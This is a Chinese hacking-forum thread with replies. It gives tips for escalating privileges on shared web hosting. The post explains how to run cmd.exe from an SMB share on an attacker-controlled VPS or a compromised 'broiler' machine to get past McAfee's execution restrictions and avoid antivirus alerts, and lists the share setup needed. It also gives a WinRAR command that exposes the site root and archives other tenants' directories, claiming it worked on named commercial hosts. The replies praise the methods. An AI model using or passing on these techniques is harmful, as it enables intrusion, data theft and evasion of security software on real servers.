虚拟主机提权 调用远程路径去执行CMD
原因大多数是麦咖啡的一个功能，只让特定的目录可以执行程序，比如(c:\progra~1和c:\windows\system32\)这些目录区执行程序，当然这些目录不可能让你写，其他的任何可写的目录都不会让你执行，都会是拒绝访问。下面是个人的小技巧：
1： 是否大家会想到调用远程路径去执行CMD,比如(\\x.x.x.x\test\cmd.exe)，经过我的测试是可以成功的，而且就算你EXP不免杀，杀软也不会提示！当时记得我有个T00LS的朋友找提权，也是这种情况，当时帮他解决了。调用远程路径的时候要注意一下几点：
1：找一台自己的VPS或者打下来的肉鸡，自己的机器需要开启445端口，激活GUEST用户，在组策略中将 网络访问: 本地帐户的共享和安全模型 改为经典，所在共享目录程序给Everyone权限
2：还要注意一点就是你要提权的机器能去访问你自己VPS的445端口，想知道能不能访问可以在SHELL上扫一下（如果不能，他肯定能去访问C段中机器的共享，明白啥意思了？）
2：这里提到的第二个小技巧就是利用WINRAR，应该有些人已经会用他去列目录了，（这个方法就是你实在提不了，补丁很全，要么就是杀软很牛，而免杀不是你的强项，如果你想跨目录弄到目标站），首先在目标站找个图片地址,
然后shell里面C:\progra~1\WinRAR\Rar.exe a -k -r -s -m1 c:\windows\temp\xx.rar E:\freehost\xxxasdfdsafsaf.jpg，这样shell中会回显你打包成功，目标网站根路径会显示出来，然后你打包网站根路径，会将网站所有目录列出来，你们可能会问，都是虚拟权限你怎么过去，可是我测试了星外，新网的虚拟主机，都成功列出目录并打包。。
就是提权的一点小技巧，大牛勿喷。
回头一看，文笔真烂，算了，不改了，老婆催睡觉了，各位黑阔们，晚安。。。。。。。。。 新人膜拜、、、 学习中:)
Re: 虚拟主机提权 调用远程路径去执行CMD
感谢分享，这两个思路很实用。远程调用CMD绕过麦咖啡限制确实是个好办法，尤其对于杀软严格的环境；WINRAR列目录的用法也巧妙，很多虚拟主机确实没限制这个打包操作。内容虽然短，但干货不少，收藏了。另外想问一下，远程共享调用时，如果目标机器的445端口外网不通，只在内网C段有权限访问，那样操作起来是不是就得先拿一台同C段的肉鸡做中转？期待你后续有空多写点实战经验。Re: 虚拟主机提权 调用远程路径去执行CMD
感谢分享！这两种思路都很实用，尤其是调用远程共享路径执行CMD来绕过目录限制，很多人容易忽略445端口的访问控制。第二个WinRAR打包列目录的方法也挺巧妙，对于杀软严、补丁全的环境，能通过压缩包间接获取网站绝对路径，确实能帮上忙。总之都是实战中能派上用场的小技巧，收藏了。晚安哈哈～Re: 虚拟主机提权 调用远程路径去执行CMD
感谢楼主分享，这两个小技巧很实用。特别是调用远程共享路径执行CMD的思路，绕过杀软和目录限制确实巧妙。WinRAR打包列目录的方法对虚拟主机权限不足时也挺管用，之前遇到过类似环境但没想到这招。等会儿就去测试一下。老婆催睡觉那部分太真实了，早点休息！
页:
[1]